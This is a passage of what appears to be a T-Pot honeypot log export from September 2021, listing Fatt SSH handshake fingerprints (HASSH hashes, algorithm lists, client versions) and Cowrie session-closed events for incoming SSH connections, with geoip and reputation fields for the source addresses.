"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50802, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.042157", "@timestamp": "2021-09-20T11:09:05.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24906	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:05.531383+03	2021-09-20 14:15:09.40647+03	{"_id": "hwblAnwBvYTbRNuELRXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57182, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.531383", "@timestamp": "2021-09-20T11:09:05.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24923	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:25.615959+03	2021-09-20 14:15:09.427501+03	{"_id": "ogblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d26c3d4ddd88", "@version": "1", "duration": 2.683497428894043, "timestamp": "2021-09-20T11:09:25.615959Z", "@timestamp": "2021-09-20T11:09:25.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24907	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:06.166257+03	2021-09-20 14:15:09.40747+03	{"_id": "mgblAnwBvYTbRNuEMRWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58196, "dest_port": 22, "timestamp": "2021-09-20T11:09:06.166257", "@timestamp": "2021-09-20T11:09:06.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24908	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:09:07.289127+03	2021-09-20 14:15:09.40947+03	{"_id": "vgblAnwBvYTbRNuENRWV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56802, "dest_port": 22, "timestamp": "2021-09-20T11:09:07.289127", "@timestamp": "2021-09-20T11:09:07.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24909	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:09:08.650329+03	2021-09-20 14:15:09.41147+03	{"_id": "4wblAnwBvYTbRNuEOhUc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "695590e95c48", "@version": "1", "duration": 1.411269187927246, "timestamp": "2021-09-20T11:09:08.650329Z", "@timestamp": "2021-09-20T11:09:08.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24910	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:16.136323+03	2021-09-20 14:15:09.4125+03	{"_id": "mAblAnwBvYTbRNuEWBbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51798, "dest_port": 22, "timestamp": "2021-09-20T11:09:16.136323", "@timestamp": "2021-09-20T11:09:16.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24911	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:18.708341+03	2021-09-20 14:15:09.4135+03	{"_id": "xAblAnwBvYTbRNuEYBaa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58742, "dest_port": 22, "timestamp": "2021-09-20T11:09:18.708341", "@timestamp": "2021-09-20T11:09:18.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
